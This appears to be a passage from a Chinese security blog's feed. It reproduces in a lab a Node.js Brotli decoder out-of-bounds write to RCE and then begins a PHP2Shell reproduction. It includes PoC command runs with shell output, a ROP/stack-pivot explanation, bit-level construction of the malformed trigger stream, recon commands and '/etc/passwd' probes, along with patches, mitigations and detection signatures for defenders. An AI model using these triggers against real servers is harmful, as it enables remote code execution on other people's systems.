&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;另外两次在同一靶标上重跑，命中轮次分别是第 4 轮与第 9 轮：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ POC_ALLOW_LAN=1 python3 poc_lan.py --profile node-24.22.0-express-5.3.0-bookworm-x86_64 \
       --host 192.168.31.148 --port 3000 --timeout 30 --attempts 50
# 中间省略若干 attempt 行
PASS: RCE verified by fresh id output through the declared interface
proof_stdout=uid=1000(node) gid=1000(node) groups=1000(node)
successful_attempt=4

└─$ POC_ALLOW_LAN=1 python3 poc_lan.py --profile node-24.22.0-express-5.3.0-bookworm-x86_64 \
       --host 192.168.31.148 --port 3000 --timeout 30 --attempts 50
# 中间省略若干 attempt 行
PASS: RCE verified by fresh id output through the declared interface
proof_stdout=uid=1000(node) gid=1000(node) groups=1000(node)
successful_attempt=9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;轮次并不固定，说明结果并非偶然，&lt;code&gt;id&lt;/code&gt; 的输出确实由目标进程执行命令后写回连接。&lt;/p&gt;
&lt;p&gt;作为对照，同一段触发流发送至修复版本。启动 24.22.1 容器并监听 3001，以相同函数发送：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo docker run -d --name cve-111497-patched -p 3001:3000 cve-2026-111497-lab:v24.22.1-express
└─$ python3 - &amp;lt;&amp;lt;&apos;PY&apos;
import os, sys
os.environ[&quot;POC_ALLOW_LAN&quot;] = &quot;1&quot;
sys.path.insert(0, &quot;/home/kali/node2shell&quot;)
import poc_lan as N
prof = N.load_profiles()[&quot;node-24.22.0-express-5.3.0-bookworm-x86_64&quot;]
resp = N.http_body_attack(prof, N.resolve_loopback(&quot;192.168.31.148&quot;, 3001), 10)
print(resp.decode(&quot;latin-1&quot;))
PY
HTTP/1.1 400 Bad Request
X-Powered-By: Express
Connection: close
Content-Length: 35

ERR ERR__ERROR_FORMAT_BLOCK_SWITCH
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修复版本在块切换处停止，返回明确的格式错误，进程继续提供服务。该错误码同样可以作为检测特征。&lt;/p&gt;
&lt;p&gt;复现结束后，靶标容器 cve-111497-express 仍在 3000 端口运行，调试用的 n2s-gdb 与补丁版本实例已删除。攻击流量从 192.168.31.152 直达靶机，未经跳板，服务端返回的 400 响应与崩溃记录都会留在靶机的日志里。&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;h3&gt;越界写的成因&lt;/h3&gt;
&lt;p&gt;Brotli 数据按元块（meta-block）组织，元块开头包含块类型与块切换指令。解码器在解析过程中维护三个块的剩余长度 &lt;code&gt;block_length[0..2]&lt;/code&gt;，分别对应字面量、插入拷贝与距离。当某个长度归零时，解码器读取下一个块切换指令。&lt;/p&gt;
&lt;p&gt;读取切换指令的函数为 &lt;code&gt;DecodeBlockTypeAndLength()&lt;/code&gt;。其开头的类型检查是完整的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (max_block_type &amp;lt;= 1) {
  return BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但后续的块长度读取使用「安全读取」逻辑，读取失败时返回的是 &lt;code&gt;BROTLI_DECODER_NEEDS_MORE_INPUT&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!SafeReadBlockLength(s, &amp;amp;s-&amp;gt;block_length[tree_type], len_tree, br)) {
  s-&amp;gt;substate_read_block_length = BROTLI_STATE_READ_BLOCK_LENGTH_NONE;
  BrotliBitReaderRestoreState(br, &amp;amp;memento);
  return BROTLI_DECODER_NEEDS_MORE_INPUT;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调用方 &lt;code&gt;ProcessCommandsInternal()&lt;/code&gt; 通过 &lt;code&gt;BROTLI_SAFE_WITH_STATUS&lt;/code&gt; 将该状态原样返回，认为只是数据不足，等待下一次调用补齐。&lt;/p&gt;
&lt;p&gt;解码器内部有一块 8 字节的输入暂存区：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;union {
  uint64_t u64;
  uint8_t u8[8];
} buffer;
brotli_reg_t buffer_length;

int pos;
int max_backward_distance;
int max_distance;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每次调用进入时，未读完的字节会被追加到该数组：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BROTLI_DCHECK(s-&amp;gt;buffer_length &amp;lt; 8);
s-&amp;gt;buffer.u8[s-&amp;gt;buffer_length] = **next_in;
s-&amp;gt;buffer_length++;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;BROTLI_DCHECK&lt;/code&gt; 仅在启用调试时生效，发布版本中该行不做任何检查。状态机持续认为输入不足，调用方持续提供数据，&lt;code&gt;buffer_length&lt;/code&gt; 超过 8 后，写入位置落在紧随其后的字段上：先是 &lt;code&gt;buffer_length&lt;/code&gt; 自身，随后是 &lt;code&gt;pos&lt;/code&gt;、&lt;code&gt;max_backward_distance&lt;/code&gt; 与 &lt;code&gt;max_distance&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这些字段决定解码器从环形缓冲的哪个位置读取、最多可回退多远。被覆盖后，后续拷贝操作随之偏移，写入位置由攻击者提供的字节决定。&lt;/p&gt;
&lt;p&gt;前面 gdb 捕获的崩溃点位于 &lt;code&gt;ProcessCommands&lt;/code&gt;，正是使用这些字段的位置，与该路径一致。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Node.js%20Brotli%20%E8%A7%A3%E7%A0%81%E5%99%A8%E8%B6%8A%E7%95%8C%E5%86%99%E5%88%B0%20RCE%EF%BC%88CVE-2026-111497%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/fig-n2s-trigger.png&quot; alt=&quot;攻击者的 Brotli 流进入解码器的路径&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;从越界写到代码执行&lt;/h3&gt;
&lt;p&gt;越界写本身只是写错位置。要走到执行命令，还需三个条件同时成立：写出的内容可控、落点是被调用的指针、能够迁移栈。&lt;/p&gt;
&lt;p&gt;PoC 采用堆对象覆盖。第一段请求先将 1031 字节前缀准备好，越界写将其整体复制到缓冲区之后的固定偏移处，覆盖目标对象。该对象下一次被调用时，指针已被替换为 &lt;code&gt;mov rax, rdi; ret&lt;/code&gt;，rdi 指向对象自身，rax 中即为攻击者可控内存的地址。第二条 &lt;code&gt;pivot rsp, rax+0x30&lt;/code&gt; 将栈指针迁移过去，随后执行 ROP 链。&lt;/p&gt;
&lt;p&gt;ROP 是应对地址随机化的手段：ASLR 使每次进程启动后库的加载地址不同，无法直接调用某个函数，只能将地址已知的短指令序列按顺序串联执行。此处最终需要完成的动作很少：将当前请求的 socket 复制到标准输出，随后以 &lt;code&gt;execve&lt;/code&gt; 执行命令。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Node.js%20Brotli%20%E8%A7%A3%E7%A0%81%E5%99%A8%E8%B6%8A%E7%95%8C%E5%86%99%E5%88%B0%20RCE%EF%BC%88CVE-2026-111497%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/fig-n2s-chain.png&quot; alt=&quot;越界写之后控制流怎么走到 execve&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;为什么需要多轮尝试&lt;/h3&gt;
&lt;p&gt;堆越界写的落点依赖当时的堆布局，地址又受 ASLR 影响，每一轮进程启动后的随机化结果均不相同。PoC 将位置固定为一个候选值，命中则成功，未命中则触发段错误。&lt;/p&gt;
&lt;p&gt;段错误本身也有利用价值：容器内的重启循环会重新启动 node，新进程带有新的地址布局。PoC 在每次失败后主动发送一次崩溃请求，待健康检查失败、新进程就绪后进入下一轮。profile 默认 16 轮，实测三次分别在第 1、第 4 与第 9 轮命中。&lt;/p&gt;
&lt;p&gt;真实环境中的可利用性差异较大。Node.js 将该问题定为 high，理由是触发条件简单，只要解压不可信数据即有机会；但稳定利用需要特定的构建、线程模型与堆状态。PoC 作者在 README 中亦说明：RCE 结果只对三个精确的 Linux x86-64 实验室成立。&lt;/p&gt;
&lt;h3&gt;附：触发流的构造&lt;/h3&gt;
&lt;p&gt;本节说明畸形流的构造方式，仅需复现的读者可以跳过。以下字段名与取值对照 RFC 7932 第 9.1 节（流头）与第 9.2 节（元块头），位流按小端写入，与规范中「位从右到左解析」的约定一致。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bits.put(1, 1); bits.put(0, 3)                     # WBITS = 17
bits.put(2, 3)                                     # ISLAST = 0，MNIBBLES = 6
bits.put(0xFFFFFF, 24); bits.put(0, 1)             # MLEN - 1，ISUNCOMPRESSED = 0

varlen_u8(bits, 0); varlen_u8(bits, 1); varlen_u8(bits, 0)
                                                   # NBLTYPESL=1、NBLTYPESI=2、NBLTYPESD=1
one_symbol_tree(bits, 4, 0)                        # I&amp;amp;C 块类型码表，4 个符号
one_symbol_tree(bits, 26, 25)                      # I&amp;amp;C 块计数码表，26 个符号，取第 25 号
bits.put(0xFFFFFF, 24)                             # 第一个 I&amp;amp;C 块计数的 24 位额外值

bits.put(3, 6); bits.put(0, 2)                     # NPOSTFIX = 3、NDIRECT = 0，字面量上下文模式
varlen_u8(bits, 0); varlen_u8(bits, 0)             # NTREESL = 1、NTREESD = 1

one_symbol_tree(bits, 256, 0)                      # 字面量树
one_symbol_tree(bits, 704, 130)                    # 第一张插入拷贝树
one_symbol_tree(bits, 704, 130)                    # 第二张插入拷贝树
one_symbol_tree(bits, 400, 184)                    # 距离树
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;逐项说明。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;WBITS&lt;/code&gt; 写作 1 加三位 0，按 §9.1 的变长编码为 17，窗口大小为 128KB。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;MNIBBLES&lt;/code&gt; 取 6，表示后续长度字段占 6 个半字节，即 24 位。紧随其后的 &lt;code&gt;0xFFFFFF&lt;/code&gt; 为 &lt;code&gt;MLEN - 1&lt;/code&gt;，因此该元块声明输出 16MB 数据；&lt;code&gt;ISUNCOMPRESSED&lt;/code&gt; 为 0，表示数据经过压缩。&lt;/p&gt;
&lt;p&gt;三个 &lt;code&gt;varlen_u8&lt;/code&gt; 对应字面量、插入拷贝、距离三类块的块类型数量，分别为 1、2、1。插入拷贝有 2 个块类型，因此需额外写入一套块类型码表与块计数码表，即 &lt;code&gt;one_symbol_tree(4, 0)&lt;/code&gt; 与 &lt;code&gt;one_symbol_tree(26, 25)&lt;/code&gt;。其后的 24 位为第一个插入拷贝块的计数，取值 &lt;code&gt;0xFFFFFF&lt;/code&gt; 表示该块包含 2 的 24 次方条命令。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;NPOSTFIX = 3&lt;/code&gt;、&lt;code&gt;NDIRECT = 0&lt;/code&gt; 决定距离码表大小：16 + (48 左移 3 位) = 400，与最后一张 &lt;code&gt;one_symbol_tree(400, 184)&lt;/code&gt; 对应。其间的 2 位为字面量上下文模式。&lt;/p&gt;
&lt;p&gt;四张树均只含一个符号。&lt;code&gt;one_symbol_tree()&lt;/code&gt; 先写两位 1 表示简单前缀码，再写两位表示符号数减一，最后按字母表宽度写入符号值。解码器获得此类码表后，每个待解码字段只有唯一结果，无需真实数据即可推进状态。&lt;/p&gt;
&lt;p&gt;具体触发点尚未从源码逐位还原。公开分析的说法是：距离块剩余长度耗尽后，解码器读取块切换指令失败，该状态被当作「需要更多输入」，而这一分支本应返回格式错误。&lt;/p&gt;
&lt;p&gt;第二段流由 &lt;code&gt;trigger_stages()&lt;/code&gt; 生成，长度 127 字节：第 7 个字节为 8，偏移 15 处为 0x7FFFFFFF，偏移 19 与 23 处同为 0x7FFFFFFF。解码器将这些字段解读为仍有极长数据待处理，后续每个输入字节均被追加至 8 字节暂存区。两段之间间隔 0.5 秒，使解码器先接收第一段的状态，第二段到达时沿该状态继续写入。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;p&gt;升级至修复版本：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Node.js 22.23.4、24.22.1、26.12.1&lt;/li&gt;
&lt;li&gt;Bun 1.4.4&lt;/li&gt;
&lt;li&gt;Google Brotli 1.0.10、1.1.1、1.2.1&lt;/li&gt;
&lt;li&gt;其它语言与发行版见前述影响面表&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;补丁后的行为可直接观察：同样的畸形流发送至修复版本，请求以 400 结束，响应体为 &lt;code&gt;ERR__ERROR_FORMAT_BLOCK_SWITCH&lt;/code&gt;，进程不终止。该错误码可作为检测特征。&lt;/p&gt;
&lt;h3&gt;自查是否暴露&lt;/h3&gt;
&lt;p&gt;服务端是否解压 Brotli 可直接验证。携带 &lt;code&gt;Content-Encoding: br&lt;/code&gt; 发送一段无意义字节，若返回 400 且响应体包含 &lt;code&gt;ERR__ERROR_FORMAT&lt;/code&gt; 一类的解码器错误码，说明请求确实进入 Brotli 解码器；若返回 415 或原样接收，说明未解压。&lt;/p&gt;
&lt;p&gt;Node 侧可在本地查询：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ node -p &quot;process.version + &apos; brotli=&apos; + process.versions.brotli&quot;
v24.22.0 brotli=1.2.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Express 的 body-parser 默认开启 inflate，接受 gzip、deflate 与 br 三种压缩。不需要压缩请求体的服务可将其关闭：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;app.use(express.json({ inflate: false }));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关闭后带压缩头的请求直接返回 415（body-parser 中的 &lt;code&gt;content encoding unsupported&lt;/code&gt;），不会进入解码器。以同样的应用加 &lt;code&gt;inflate: false&lt;/code&gt; 启动一个实例验证：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo docker run -d --name n2s-415 -p 3003:3000 --entrypoint node \
       cve-2026-111497-lab:v24.22.0-express -e &quot;const e=require(&apos;/app/node_modules/express&apos;);\
const a=e();a.use(e.json({inflate:false}));a.post(&apos;/u&apos;,(q,r)=&amp;gt;r.end(&apos;OK&apos;));a.listen(3000,&apos;0.0.0.0&apos;)&quot;

└─$ curl -s -i -X POST -H &quot;Content-Type: application/json&quot; -H &quot;Content-Encoding: br&quot; \
       --data-binary &apos;garbage&apos; http://127.0.0.1:3003/u | head -2
HTTP/1.1 415 Unsupported Media Type
X-Powered-By: Express
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要在网关层收窄的，可将 &lt;code&gt;Content-Encoding&lt;/code&gt; 白名单限制为业务实际使用的算法。&lt;/p&gt;
&lt;p&gt;批量排查可使用探测流：向候选目标发送若干携带 &lt;code&gt;Content-Encoding: br&lt;/code&gt; 的请求体，观察返回解码器错误码的主机。公开分析中记录过类似手法，一次发送 20 个 body、分两批进行，用于判断哪些主机在解压 Brotli。&lt;/p&gt;
&lt;h3&gt;临时缓解&lt;/h3&gt;
&lt;p&gt;无法立即升级时，最直接的措施是不解压不可信的 Brotli。前述 &lt;code&gt;inflate: false&lt;/code&gt; 或网关白名单均属此类。&lt;/p&gt;
&lt;p&gt;限制请求体大小可降低成功率，但不能根治，越界写只需要几十字节的数据流。&lt;/p&gt;
&lt;p&gt;已 EOL 的 Node.js 18 与 20 不再提供常规补丁，Aikido 等厂商提供了预修补的镜像。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Node.js 安全公告：&lt;a href=&quot;https://nodejs.org/en/blog/vulnerability/october-2026-security-releases&quot;&gt;October 2026 Security Releases&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;漏洞成因与影响面梳理：&lt;a href=&quot;https://www.aikido.dev/blog/python-packages-vulnerable-node2shell-brotli-cve-2026-111497&quot;&gt;Aikido: Node2Shell evolves to HTTP2Shell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;修复版本与暴露面检查：&lt;a href=&quot;https://cycode.com/blog/node2shell-cve-2026-111497/&quot;&gt;Cycode: node2shell / HTTP2Shell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;复现与利用代码：&lt;a href=&quot;https://github.com/dimasma0305/CVE-2026-111497-POC&quot;&gt;dimasma0305/CVE-2026-111497-POC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;独立分析与实验环境：&lt;a href=&quot;https://github.com/Arkango/CVE-2026-111497&quot;&gt;Arkango/CVE-2026-111497&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Brotli 解码器源码：&lt;a href=&quot;https://github.com/google/brotli/blob/master/c/dec/decode.c&quot;&gt;google/brotli c/dec/decode.c&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Brotli 数据格式：&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc7932&quot;&gt;RFC 7932&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>PHP2Shell：会话上传进度 OOM 到 RCE（CVE-2026-109618 / CVE-2026-109619）复现</title><link>https://blog.mal-suen.cn/posts/2026/11/222/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2026/11/222/</guid><description>CVE-2026-109618 与 CVE-2026-109619 都发生在 PHP 请求启动阶段，利用 session.upload_progress 的默认开启，用 memory_limit 触发的 OOM bailout 跳过清理，把悬空指针留给同一个 worker 的下一个请求，最后用伪造的 zend_array 把 pDestructor 指向 zif_system 执行命令。</description><pubDate>Sun, 01 Nov 2026 06:30:00 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2026-109618 和 CVE-2026-109619 是 PHP 在 2026 年 10 月披露的两个内存破坏漏洞，CVSS 都是 9.2。触发点在 PHP 处理请求的启动阶段，比脚本执行还早，所以不需要应用代码配合。公开资料把这对漏洞合称 PHP2Shell。&lt;/p&gt;
&lt;p&gt;受影响范围是 PHP 5.4 到 8.5.11，修复版本是 8.2.35、8.3.36、8.4.27、8.5.12。所有处理 Web 请求的 SAPI 都受影响。Apache mod_php 的风险最高，它的子进程是长驻的，跨请求的脏状态不会被主动清掉。&lt;/p&gt;
&lt;p&gt;靶机 192.168.31.148 上用官方 php:8.4.26-apache 镜像搭一个只有一行代码的站点，攻击机 192.168.31.152。下面的顺序按实战走：先扫端口和业务，看这个站点是什么形态，再判断攻击面落在哪一层，然后挑出适用的漏洞，最后验证并利用。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2026-109618&lt;/td&gt;
&lt;td&gt;9.2&lt;/td&gt;
&lt;td&gt;PHP 5.4 至 8.5.11&lt;/td&gt;
&lt;td&gt;OOM 导致内存损坏，可致 RCE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2026-109619&lt;/td&gt;
&lt;td&gt;9.2&lt;/td&gt;
&lt;td&gt;PHP 5.4 至 8.5.11&lt;/td&gt;
&lt;td&gt;跨请求悬空全局状态，可致 RCE&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;两个漏洞共用同一个入口：&lt;code&gt;session.upload_progress&lt;/code&gt;。这个特性默认开启，本来是给文件上传显示进度条用的。PHP 处理 multipart 请求时，只要看到 &lt;code&gt;PHP_SESSION_UPLOAD_PROGRESS&lt;/code&gt; 字段，就会在请求启动阶段把进度写进 session 文件，位置比脚本执行早，也比模块的 RINIT 早。&lt;/p&gt;
&lt;p&gt;链条还依赖两个默认配置：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;session.use_strict_mode&lt;/code&gt; 为 0，允许客户端自己指定 session id&lt;/li&gt;
&lt;li&gt;&lt;code&gt;memory_limit&lt;/code&gt; 是有限值，这样才可能触发 OOM&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;条件齐了以后，目标页面不需要有任何 session 代码，甚至不需要参数。能跑的 PHP 页面就够。&lt;/p&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;靶机是 192.168.31.148，Kali，靶标用 Docker 跑。镜像用官方 &lt;code&gt;php:8.4.26-apache&lt;/code&gt;，基于 Debian bookworm，自带 Apache 2.4.69 和 PHP 8.4.26。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo docker run -d --name p2s-pure-18110 -p 18110:80 \
       -v /home/kali/php2shell-md/docker/www:/var/www/html:ro \
       -v /home/kali/php2shell-md/out:/out \
       php:8.4.26-apache /bin/sh -c \
       &apos;cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini; exec apache2-foreground&apos;

└─$ sudo docker ps --filter name=p2s-pure-18110 --format &quot;table {{.ID}}\t{{.Image}}\t{{.Ports}}\t{{.Names}}&quot;	# 确认容器状态
CONTAINER ID   IMAGE               PORTS                                       NAMES
92f147743d3d   php:8.4.26-apache   0.0.0.0:18110-&amp;gt;80/tcp, [::]:18110-&amp;gt;80/tcp   p2s-pure-18110
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;官方镜像默认不带 &lt;code&gt;php.ini&lt;/code&gt;，这里把镜像自带的 &lt;code&gt;php.ini-production&lt;/code&gt; 复制成 &lt;code&gt;php.ini&lt;/code&gt;。没有改编译参数，没有打补丁，没有动 Apache 配置。&lt;/p&gt;
&lt;p&gt;目标页面只有一行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo &quot;OK\n&quot;; ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;靶标的配置就是官方镜像的默认值：&lt;code&gt;memory_limit&lt;/code&gt; 128M、&lt;code&gt;post_max_size&lt;/code&gt; 8M、&lt;code&gt;session.upload_progress.enabled&lt;/code&gt; On、&lt;code&gt;session.use_strict_mode&lt;/code&gt; Off，MPM 是 prefork，&lt;code&gt;MaxRequestWorkers&lt;/code&gt; 150。这些值攻击者从外部读不到，链条只要求它们是出厂值。&lt;/p&gt;
&lt;p&gt;150 这个数字后面要用：同一条链上的四个请求必须落在同一个子进程里，脚本用 149 个不完整的连接把其余 worker 占住，只留一个。&lt;/p&gt;
&lt;p&gt;另外用 &lt;code&gt;php:8.3.4-apache&lt;/code&gt; 起过同样的站点，链条没打通。两个版本的 session 初始化时序不一样，8.3 在 &lt;code&gt;php_session_initialize&lt;/code&gt; 内部就把 Cookie 发出去并清掉 &lt;code&gt;send_cookie&lt;/code&gt; 标志，8.4 把这一步挪到了 multipart 解析结束。所以 A1 那笔 OOM 在 8.3.4 上落在发 Cookie 之后，B1 拿不到悬空的 id。换版本除了重新取 &lt;code&gt;libphp.so&lt;/code&gt; 的符号偏移，还要重新算 OOM 落在哪一段代码里。&lt;/p&gt;
&lt;h3&gt;端口扫描与内容发现&lt;/h3&gt;
&lt;p&gt;先对整个端口段扫一遍，带上默认脚本和 vulners 版本库比对：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -Pn -T4 -sV -p- --script &quot;default,vulners&quot; 192.168.31.148

Nmap scan report for kali (192.168.31.148)
Host is up (0.00072s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 10.2p1 Debian 6 (protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:10.2p1: 
|     	CVE-2026-60002	9.4	https://vulners.com/cve/CVE-2026-60002
|     	CVE-2026-35414	8.1	https://vulners.com/cve/CVE-2026-35414
|     	CVE-2026-35386	8.1	https://vulners.com/cve/CVE-2026-35386
|     	CVE-2026-35385	8.1	https://vulners.com/cve/CVE-2026-35385
|     	…（其余 23 条为 2026 年的条目，只按版本号匹配，无公开利用链，略）
18110/tcp open  http    Apache httpd 2.4.69 ((Debian))
|_http-title: Site doesn&apos;t have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.69 (Debian)
| vulners: 
|   cpe:/a:apache:http_server:2.4.69: 
|_    	GHSA-XM48-VPF9-PGMX	0.0	https://vulners.com/github/GHSA-XM48-VPF9-PGMX
MAC Address: 00:0C:29:B3:23:74 (VMware)
Service Info: OS: Linux, CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov  1 07:03:47 2026 -- 1 IP address (1 host up) scanned in 17.68 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;65533 个端口是 closed（RST），没有 filtered，靶机没有防火墙拦截，对外只暴露 SSH 和 Web。22 端口是 Kali 自带的 OpenSSH，不是应用入口。18110 是唯一的 HTTP 服务。&lt;/p&gt;
&lt;p&gt;vulners 给出 28 条记录，OpenSSH 27 条、Apache 1 条。OpenSSH 那批全是 2026 年的条目，按版本号匹配出来的，没有公开利用链；Apache 2.4.69 只有一条 GHSA，评分 0.0。这些条目和站点上实际跑的东西对不上号，先记下来。&lt;/p&gt;
&lt;p&gt;再看有没有别的路径：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.31.148:18110/ -w /usr/share/wordlists/dirb/common.txt -t 40 -q --no-error
.htpasswd            (Status: 403) [Size: 322]
.htaccess            (Status: 403) [Size: 322]
.hta                 (Status: 403) [Size: 322]
index.php            (Status: 200) [Size: 3]
server-status        (Status: 403) [Size: 322]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只有 index.php 返回 200，内容三个字节。其余几个是 Apache 的默认拒绝，server-status 只允许本地访问。整个站点就一个入口脚本。&lt;/p&gt;
&lt;h3&gt;业务面探测&lt;/h3&gt;
&lt;p&gt;能访问的只有 18110 上的 Apache，先看它是什么业务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ whatweb -a 3 http://192.168.31.148:18110/
http://192.168.31.148:18110/ [200 OK] Apache[2.4.69], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.69 (Debian)], IP[192.168.31.148], PHP[8.4.26], X-Powered-By[PHP/8.4.26]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再摸一遍常见的入口文件和目录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ for p in robots.txt .git/HEAD .env index.php.bak index.php~ backup.zip admin/ upload.php phpinfo.php; do
       printf &apos;%-16s %s\n&apos; &quot;$p&quot; &quot;$(curl -s -o /dev/null -w &apos;%{http_code} %{size_download}&apos; http://192.168.31.148:18110/$p)&quot;
     done
robots.txt       404 319
.git/HEAD        404 319
.env             404 319
index.php.bak    404 319
index.php~       404 319
backup.zip       404 319
admin/           404 319
upload.php       404 319
phpinfo.php      404 319
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;全部 404，返回的都是 Apache 那个 319 字节的错误页。这个长度可以当参照：后面哪个请求的响应不是 319，说明它走到了应用代码。&lt;/p&gt;
&lt;p&gt;首页本身只有两个字节：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -s http://192.168.31.148:18110/index.php | xxd
00000000: 4f4b 0a                                  OK.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没有表单，没有链接，没有 JS，没有任何业务数据。接着看它接不接收输入。先看支持的 HTTP 方法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -s -i -X OPTIONS http://192.168.31.148:18110/index.php | head -3
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 03:42:32 GMT
Server: Apache/2.4.69 (Debian)

└─$ curl -s -o /dev/null -w &apos;TRACE=%{http_code}\n&apos; -X TRACE http://192.168.31.148:18110/index.php
TRACE=405
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;OPTIONS 的响应头里没有 Allow，TRACE 被拒绝。再试参数，GET 和 POST 各来一组最常见的名字，值统一给 &lt;code&gt;/etc/passwd&lt;/code&gt;，看响应长度有没有变化：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ for n in file page id cmd url path include data action q; do
       printf &apos;POST %-8s -&amp;gt; %s\n&apos; &quot;$n&quot; &quot;$(curl -s -o /dev/null -w &apos;%{size_download}&apos; -X POST -d &quot;$n=/etc/passwd&quot; http://192.168.31.148:18110/index.php)&quot;
     done
POST file     -&amp;gt; 3
POST page     -&amp;gt; 3
POST id       -&amp;gt; 3
POST cmd      -&amp;gt; 3
POST url      -&amp;gt; 3
POST path     -&amp;gt; 3
POST include  -&amp;gt; 3
POST data     -&amp;gt; 3
POST action   -&amp;gt; 3
POST q        -&amp;gt; 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;GET 的结果一样，全是 3 字节。再试一次文件上传：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -s -o /dev/null -w &apos;upload=%{http_code} size=%{size_download}\n&apos; -X POST -F &apos;file=@/etc/hostname&apos; http://192.168.31.148:18110/index.php
upload=200 size=3
&lt;/code&gt;&lt;/pre&gt;
